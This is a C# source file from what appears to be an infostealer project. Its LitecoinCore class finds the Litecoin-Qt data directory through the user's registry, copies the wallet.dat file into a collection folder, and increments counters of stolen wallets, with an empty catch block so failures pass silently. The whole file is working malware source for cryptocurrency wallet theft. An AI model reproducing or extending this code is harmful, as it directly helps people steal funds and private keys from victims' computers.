24 lines
677 B
C#
24 lines
677 B
C#
using Microsoft.Win32;
|
|
using System.IO;
|
|
|
|
namespace SHARP
|
|
{
|
|
internal class LitecoinCore
|
|
{
|
|
public static void LitecStr(string directorypath)
|
|
{
|
|
try
|
|
{
|
|
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Litecoin").OpenSubKey("Litecoin-Qt");
|
|
Directory.CreateDirectory(directorypath + "\\Wallets\\LitecoinCore\\");
|
|
File.Copy(registryKey.GetValue("strDataDir").ToString() + "\\wallet.dat", directorypath + "\\LitecoinCore\\wallet.dat");
|
|
++Counting.litecoincore;
|
|
++Counting.Wallets;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|